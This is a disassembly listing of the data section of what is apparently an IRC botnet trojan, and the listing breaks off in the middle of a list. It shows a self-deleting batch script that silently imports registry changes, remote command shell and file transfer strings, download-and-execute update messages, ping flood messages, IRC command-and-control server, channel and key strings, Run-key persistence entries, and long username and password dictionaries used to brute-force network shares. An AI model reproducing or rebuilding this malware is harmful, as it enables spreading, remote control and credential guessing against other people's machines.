"DisjointNameSpace"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg',0Dh,0Ah db 'Echo "SackOpts"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah db 'Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah db 'Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah db 'Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio' db 'n\Internet Settings]>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'START /WAIT REGEDIT /S %temp%\1.reg',0Dh,0Ah db 'DEL %temp%\1.reg',0Dh,0Ah db 'DEL %0',0Dh,0Ah,0 align 10h unk_42B330 db 2 ; DATA XREF: sub_40A077:loc_40A136o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aNotSupportedBy db ' Not supported by this system.',0 align 4 unk_42B374 db 2 ; DATA XREF: sub_40A077:loc_40A104o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToAlloca db ' Unable to allocation ARP cache.',0 align 4 unk_42B3B8 db 2 ; DATA XREF: sub_40A077:loc_40A0D0o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aArpCacheIsEmpt db ' ARP cache is empty.',0 align 10h unk_42B3F0 db 2 ; DATA XREF: sub_40A077+49o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorGettingAr db ' Error getting ARP cache: <%d>.',0 align 4 unk_42B434 db 2 ; DATA XREF: seg000:0040A337o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 69h, 6Eh, 67h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFinishedSendin db ' Finished sending pings to %s.',0 align 4 unk_42B474 db 2 ; DATA XREF: seg000:0040A269o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 69h, 6Eh, 67h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSendingPi db ' Error sending pings to %s.',0 align 10h dword_42B4B0 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh ; DATA XREF: sub_40A387+1C6o dd 2029206Ch, 2BBBB02h aFinishedSend_0 db ' Finished sending packets to %s.',0 align 10h dword_42B4F0 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh ; DATA XREF: sub_40A387+8Eo dd 2029206Ch, 2BBBB02h aErrorSending_1 db ' Error sending pings to %s.',0 align 4 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: seg000:0040A638o dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh dd 2029206Ch, 2BBBB02h, 6F432020h, 20646C75h, 20746F6Eh dd 64616572h, 74616420h, 72662061h, 70206D6Fh, 63636F72h dd 2E737365h, 0A0Dh, 28026502h, 62302E31h, 20282029h, 2E646D63h dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 72502020h, 6563636Fh dd 68207373h, 74207361h, 696D7265h, 6574616Eh, 0A0D2E64h dd 0 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh dd 2029206Ch, 2BBBB02h aCouldNotReadDa db ' Could not read data from proccess',0Dh,0Ah,0 align 10h dword_42B600 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: sub_40A7E1+194o dd 2029206Ch, 2BBBB02h aFailedToStartI db ' Failed to start IO thread, error: <%d>.',0 align 4 dword_42B648 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: sub_40A7E1+14Co dd 2029206Ch, 2BBBB02h aRemoteCommandP db ' Remote Command Prompt',0 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40A7E1+21o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_40A996+52o aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:' ; DATA XREF: sub_40AAB5+297o db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:' db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:' db ' %s. [Uptime]: %s.',0 align 4 aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_40AAB5+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40AAB5:loc_40AC19o align 4 word_42B78C dw 3Fh ; DATA XREF: sub_40AAB5:loc_40ABB7r ; sub_40C27B+1Fo align 10h dword_42B790 dd 28207325h, 297325hdword_42B798 dd 3F3F3Fh ; seg000:loc_414327o a2003 db '2003',0 ; DATA XREF: sub_40AAB5+BAo ; seg002:0042C434o ... align 4 aXp db 'XP',0 ; DATA XREF: sub_40AAB5+AAo ; seg000:00414312o ... align 4 a2k db '2K',0 ; DATA XREF: sub_40AAB5+98o ; seg000:00414302o align 4 aMe db 'ME',0 ; DATA XREF: sub_40AAB5+7Eo ; seg000:004142E9o align 10h a98 db '98',0 ; DATA XREF: sub_40AAB5+6Co ; seg000:004142D9o align 4 aNt db 'NT',0 ; DATA XREF: sub_40AAB5+5Ao ; seg000:004142C9o align 4 a95 db '95',0 ; DATA XREF: sub_40AAB5+46o ; seg000:004142BBo align 4 aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0 ; DATA XREF: sub_40AD69+ABo align 4 off_42B7FC dd offset loc_412F4B+3 ; DATA XREF: sub_40AD69:loc_40ADDDo dword_42B800 dd 4E414Ch dword_42B804 dd 6C616944h, 70752Dhdword_42B80C dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hunk_42B81C db 2 ; DATA XREF: sub_40AE2F:loc_40AFE8o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 76h ; v db 69h, 73h, 69h db 74h ; t db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToConnec db 'Failed to connect to HTTP server.',0 align 10h unk_42B860 db 2 ; DATA XREF: sub_40AE2F:loc_40AFE1o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 76h ; v db 69h, 73h, 69h db 74h ; t db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aCouldNotOpenAC db 'Could not open a connection.',0 align 10h dword_42B8A0 dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h ; DATA XREF: sub_40AE2F+1A0o dd 206C1F64h, 0BB022029h, 202002BBh, 61766E49h, 2064696Ch dd 2E4C5255h, 0 unk_42B8D0 db 2 ; DATA XREF: sub_40AE2F:loc_40AFC2o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 76h ; v db 69h, 73h, 69h db 74h ; t db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToGetReq db 'Failed to get requested URL from HTTP server.',0 align 10h dword_42B920 dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h ; DATA XREF: sub_40AE2F+18Co dd 206C1F64h, 0BB022029h, 202002BBh, 204C5255h, 69736976h dd 2E646574h, 0 dword_42B950 dd 2A2F2Ah dword_42B954 dd 202E6425h, 3D207325h, 732520hdword_42B960 dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dha_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40B151+60o align 4 dword_42B994 dd 2C353103h, 6E653431h, 6230317Ah, 2E320320h, 3103202Eh ; DATA XREF: sub_40B1F1+1Ao dd 6F6C2835h, 32037367h, 3531032Eh, 29646F6Dh, 0BB320320h dd 20353103h, 656C4320h, 64657261h, 2Eh dword_42B9CC dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh ; DATA XREF: sub_40B263+DCo dd 2029206Ch, 2BBBB02h, 694C2020h, 63207473h, 6C706D6Fh dd 2E657465h, 0 dword_42B9FC dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh ; DATA XREF: sub_40B263+3Fo dd 2029206Ch, 2BBBB02h, 65422020h, 6E6967h dword_42BA20 dd 80000002h, 42C228h, 80000002h, 42C258h, 80000001h, 42C290h ; DATA XREF: sub_40B392+7o dword_42BA38 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40B392+63o ; seg000:0040B6A5o dd 2029206Ch, 2BBBB02h aFailedToSendTo db ' Failed to send to Remote command shell.',0 align 10h dword_42BA80 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: seg000:0040B5E0o dd 2029206Ch, 2BBBB02h aFailedToOpenRe db ' Failed to open remote command shell.',0 align 4 dword_42BAC4 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: seg000:0040B57Co ; seg000:0040B7F3o dd 2029206Ch, 2BBBB02h aFailedToOpenSo db ' Failed to open socket.',0 align 4 dword_42BAFC dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: seg000:0040BBEEo dd 2029206Ch, 2BBBB02h, 6F532020h, 74656B63h, 72726520h dd 2E726Fh dword_42BB28 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: seg000:0040B9F0o dd 2029206Ch, 2BBBB02h aTransferComple db ' Transfer complete to IP: %s, Filename: %s (%s bytes).',0 dword_42BB7C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: seg000:0040B8F8o dd 2029206Ch, 2BBBB02h aUnableToOpenSo db ' Unable to open socket.',0 align 4 dword_42BBB4 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: seg000:0040B8C1o dd 2029206Ch, 2BBBB02h, 65532020h, 7420646Eh, 6F656D69h dd 2E7475h dword_42BBE0 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: seg000:0040B860o dd 169h dword_42BBF8 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: seg000:0040B81Do dd 2029206Ch, 2BBBB02h aFileDoesnTExis db ' File doesn',27h,'t exist.',0 align 4 dword_42BC2C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: seg000:0040B778o dd 2029206Ch, 2BBBB02h aFailedToBindTo db ' Failed to bind to socket.',0 dword_42BC64 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: seg000:0040B73Ao dd 2029206Ch, 2BBBB02h aFailedToCreate db ' Failed to create socket.',0 align 4 dword_42BC9C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: seg000:0040BC67o dd 2029206Ch, 2BBBB02h aTransferComp_0 db ' Transfer complete from IP: %s, Filename: %s (%s bytes).',0 align 4 dword_42BCF4 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: seg000:0040BB63o dd 2029206Ch, 2BBBB02h aErrorOpeningSo db ' Error opening socket.',0 dword_42BD28 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: seg000:0040BB43o dd 2029206Ch, 2BBBB02h aErrorOpeningFi db ' Error opening file for writing.',0 align 4 aAB db 'a+b',0 ; DATA XREF: seg000:0040BB2Fo dword_42BD6C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: seg000:0040BB1Bo dd 2029206Ch, 2BBBB02h aErrorUnableToW db ' Error unable to write file to disk.',0 align 10h unk_42BDB0 db 2 ; DATA XREF: seg000:0040C166o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aBadUrlOrDnsErr db ' Bad URL, or DNS Error: %s.',0 align 10h unk_42BDF0 db 2 ; DATA XREF: seg000:0040C158o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUpdateFailedEr db ' Update failed: Error executing file: %s.',0 unk_42BE3C db 2 ; DATA XREF: seg000:0040C09Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloaded_1fk db ' Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0 align 10h dword_42BE90 dd 28026502h, 62302E31h, 20282029h, 6E776F64h, 64616F6Ch ; DATA XREF: seg000:0040C02Bo dd 641F6D2Eh, 29206C1Fh, 0BBBB0220h, 4F202002h, 656E6570h dd 25203A64h, 2E73h aOpen db 'open',0 ; DATA XREF: seg000:0040C009o ; seg000:0040F870o ... align 4 unk_42BEC8 db 2 ; DATA XREF: seg000:0040BFB4o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloaded_1fK db ' Downloaded %.1f KB to %s @ %.1f KB/sec.',0 align 4 unk_42BF14 db 2 ; DATA XREF: seg000:0040BF35o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCrcFailedDD_ db ' CRC Failed (%d != %d).',0 align 10h unk_42BF50 db 2 ; DATA XREF: seg000:0040BEABo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFilesizeIsInco db ' Filesize is incorrect: (%d != %d).',0 align 4 unk_42BF98 db 2 ; DATA XREF: seg000:0040BE68o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUpdateSDkbTran db ' Update: %s (%dKB transferred).',0 align 4 unk_42BFDC db 2 ; DATA XREF: seg000:0040BE56o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFileDownloadSD db ' File download: %s (%dKB transferred).',0 align 4 unk_42C028 db 2 ; DATA XREF: seg000:0040BD4Ao db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldnTOpenFil db ' Couldn',27h,'t open file: %s.',0 align 4 aUnknown db 'Unknown',0 ; DATA XREF: sub_40C27B:loc_40C2BEo ; sub_41360D+104o aInvalid db 'Invalid',0 ; DATA XREF: sub_40C27B:loc_40C2B8o aDisk db 'Disk',0 ; DATA XREF: sub_40C27B:loc_40C2B2o align 4 aNetwork db 'Network',0 ; DATA XREF: sub_40C27B:loc_40C2ACo aCdrom db 'Cdrom',0 ; DATA XREF: sub_40C27B:loc_40C2A6o align 4 aRam db 'RAM',0 ; DATA XREF: sub_40C27B:loc_40C2A0o aFailed db 'failed',0 ; DATA XREF: sub_40C30C:loc_40C3E4o ; sub_40C427+3Bo align 4 aSkb db '%sKB',0 ; DATA XREF: sub_40C30C+6Bo align 10h dword_42C0A0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40C427+8Eo dd 2029206Ch, 2BBBB02h aSDriveSSTotalS db ' %s Drive (%s): %s total, %s free, %s available.',0 align 10h dword_42C0F0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40C427+58o dd 2029206Ch, 2BBBB02h aSDriveSFailedT db ' %s Drive (%s): Failed to stat, device not ready.',0 align 10h aA_0 db 'A:\',0 ; DATA XREF: sub_40C4F9:loc_40C53Eo dd 1A0Ch, 1A0Bh dword_42C14C dd 1AA6h dword_42C150 dd 0CCEh dword_42C154 dd 158Dh ; seg000:loc_411D96r dword_42C158 dd 1 dword_42C15C dd 1 dword_42C160 dd 1 byte_42C164 db 78h ; DATA XREF: seg000:loc_40C1D1r ; seg000:0040D92Fr ... align 4 dword_42C168 dd 9 ; sub_4140AE+51r ... dword_42C16C dd 1 ; seg000:0040D0B5r ... aIds443 db 'ids443',0 ; DATA XREF: seg000:0040C6CDo ; seg000:00410B46o ... align 4 aEnz9_9b34 db 'enz 9.9b34',0 ; DATA XREF: seg000:loc_412845o align 4 aHi db 'hi',0 ; DATA XREF: seg000:004129C8o ; seg000:00412A97o align 4 aDd_mybn_us db 'dd.mybn.us',0 align 4 aDd db '#dd',0 aDpass db 'dpass',0 align 10h aDd_mybn_us_0 db 'dd.mybn.us',0 align 4 aDd_0 db '#dd',0 aDpass_0 db 'dpass',0 align 4 aTilesoft_com db 'Tilesoft.com',0 ; DATA XREF: sub_40283D+84o ; sub_403178+Fo ... align 4 aTilesoft_dll db 'Tilesoft.dll',0 ; DATA XREF: seg000:00402157o align 4 aTopicSoft db 'Topic Soft',0 ; DATA XREF: sub_40B392+Eo align 4 aSf_0 db 'SF-',0 ; DATA XREF: sub_4140AE+12o aTilesoft_com_0 db 'Tilesoft.com',0 align 4 aXI db '+x+i',0 ; DATA XREF: seg000:00412B10o align 10h aSf1 db '#sf1',0 ; DATA XREF: seg000:loc_40FF88o ; seg000:00411B0Ao ... align 4 aSs db '#ss',0 ; DATA XREF: seg000:0040EBF4o aSs_0 db '#ss',0 ; DATA XREF: seg000:0040EA3Do a78001 db '78001',0 ; DATA XREF: sub_40283D+9Ao align 4 aSf db 'sf',0 ; DATA XREF: sub_40283D+95o align 4 aSf_ db 'sf.',0 ; DATA XREF: sub_40283D+90o off_42C220 dd offset a@room ; DATA XREF: seg000:loc_412A24o ; "*@room" off_42C224 dd offset aMirc1_6_99 ; DATA XREF: seg000:0040D6FFr ; seg000:00412A40o ; "mirc 1.6.99" db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\Run',0 align 4 db 53h aOftwareMicro_1 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 10h aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: seg000:004146C8o ; sub_4149C4+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: seg000:00414774o ; sub_4149C4+D4o align 10h dd offset aAdministrator ; "Administrator" dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aStaff ; "staff" dd offset aRoot ; "root" dd offset aComputer ; "computer" dd offset aOwner ; "owner" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aWwwadmin ; "wwwadmin" dd offset aGuest_0 ; "guest" dd offset aDefault ; "default" dd offset aDatabase ; "database" dd offset aDba ; "dba" dd offset aOracle ; "oracle" dd offset aDb2 ; "db2" dd offset aUser_0 ; "USER" align 8 off_42C328 dd offset byte_438F9C ; DATA XREF: sub_404F08:loc_404FA1r ; sub_404F08+A6o dd offset aAdministrato_1 ; "ADMINISTRATOR" dd offset aAdministrator ; "Administrator" dd offset aAdministrato_0 ; "administrator" dd offset aFubar ; "fubar" dd offset aBla ; "bla" dd offset aGuest_1 ; "GUEST" dd offset aRoot_0 ; "ROOT" dd offset aRoot ; "root" dd offset aAdmin_0 ; "ADMIN" dd offset aPassword ; "PASSWORD" dd offset aTemp ; "TEMP" dd offset aShare_0 ; "SHARE" dd offset aWrite ; "WRITE" dd offset aFull_0 ; "FULL" dd offset aLadeda ; "ladeda" dd offset aBoth ; "BOTH" dd offset aRead ; "READ" dd offset aFiles ; "FILES" dd offset aDemo ; "DEMO" dd offset aOwner_0 ; "OWNER" dd offset aOwner_1 ; "Owner" dd offset aEdu ; "edu" dd offset aTest ; "TEST" dd offset aAccess ; "ACCESS" dd offset aUser_0 ; "USER" dd offset aBackup ; "BACKUP" dd offset aSystem_0 ; "SYSTEM" dd offset aServer_1 ; "SERVER" dd offset aPepsi ; "pepsi" dd offset aLocal ; "LOCAL" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aChangeme_0 ; "Changeme" dd offset aTemp123 ; "temp123" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a654321 ; "654321" dd offset a54321 ; "54321" dd offset a111 ; "111" dd offset a11111111 ; "11111111" dd offset a88888888 ; "88888888" dd offset aPass_0 ; "pass" dd offset aPasswd ; "passwd" dd offset aDatabase ; "database" dd offset aAbcd ; "abcd" dd offset aAbc123 ; "abc123" dd offset aOracle ; "oracle" dd offset aSybase ; "sybase" dd offset a123qwe ; "123qwe" dd offset aComputer ; "computer" dd offset aInternet ; "Internet" dd offset aSuper ; "super" dd offset a123asd ; "123asd" dd offset aIhavenopass ; "ihavenopass" dd offset aGodblessyou ; "godblessyou" dd offset aEnable ; "enable" dd offset aXp_0 ; "xp" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2600 ; "2600" dd offset a110 ; "110" dd offset a111111 ; "111111" dd offset a121212 ; "121212" dd offset a123123 ; "123123" dd offset a1234qwer ; "1234qwer" dd offset a123abc ; "123abc" dd offset a007 ; "007" dd offset aAlpha ; "alpha" dd offset aPatrick ; "patrick" dd offset aPat ; "pat" dd offset aSex_0 ; "sex" dd offset aGod ; "god" dd offset aFoobar ; "foobar" dd offset aNilez ; "Nilez" dd offset aDevil ; "devil" dd offset aNetdevil ; "netdevil" dd offset aNetDevil ; "net-devil" dd offset a0wned ; "0wned" dd offset aOwned ; "owned" dd offset aIrule ; "irule" dd offset aNetfuck ; "netfuck" dd offset aFucked ; "fucked" dd offset aCrash ; "crash" dd offset aA_1 ; "a" dd offset aAaa ; "aaa" dd offset aAbc ; "abc" dd offset aTest123 ; "test123" dd offset aWin ; "win" dd offset aPc ; "pc" dd offset aAsdf ; "asdf" dd offset aSecret ; "secret" dd offset aQwer ; "qwer" dd offset aYxcv ; "yxcv" dd offset aZxcv ; "zxcv" dd offset aHome ; "home" dd offset aLogin ; "login" dd offset aPwd ; "pwd" dd offset aLove ; "love" dd offset aMypc ; "mypc" dd offset aMypc123 ; "mypc123" dd offset aAdmin123 ; "admin123" dd offset aPw123 ; "pw123" dd offset aMypass ; "mypass" dd offset aMypass123 ; "mypass123" dd offset aPw ; "pw" dd offset aMat ; "Mat" dd offset aMatt ; "Matt" dd offset aMatthew ; "Matthew" dd offset aGobo ; "gobo" dd offset aSatan ; "satan" dd offset aSatanik ; "satanik" dd offset aSatanic ; "satanic" dd offset aSpaceman ; "spaceman" dd offset aHeaven ; "heaven" dd offset aW00t ; "w00t" dd offset a0wn3d ; "0wn3d" dd offset aKiller ; "killer" dd offset aLeet ; "leet" dd offset aL33t ; "l33t" dd offset aL337 ; "l337" dd offset aHacker ; "hacker" dd offset aHax0r ; "hax0r" dd offset aScript ; "script" dd offset aScriptkiddie ; "scriptkiddie" dd offset aKiddie ; "kiddie" dd offset aMirc_0 ; "mirc" dd offset aUwontguessme ; "uwontguessme" dd offset aYouwontguessme ; "youwontguessme" dd offset aGuessme ; "guessme" dd offset asc_432C24 ; "x" dd offset aXx ; "xx" dd offset aXxx ; "xxx" dd offset aXxxx ; "xxxx" dd offset aXxxxx ; "xxxxx" dd offset aXxxxxx ; "xxxxxx" dd offset aXxxxxxx ; "xxxxxxx" dd offset aXxxxxxxx ; "xxxxxxxx" dd offset aXxxxxxxxx ; "xxxxxxxxx" dd offset dword_4263F0 dd offset a00 ; "00" dd offset aDeath ; "death" dd offset aTesting ; "testing" dd offset a000 ; "000" dd offset a0000 ; "0000" dd offset a00000 ; "00000" dd offset a000000 ; "000000" dd offset aAcademia ; "academia" dd offset aAcademic ; "academic" dd offset aAccept ; "accept" dd offset aAccount ; "account" dd offset aAction ; "action" dd offset aAdam ; 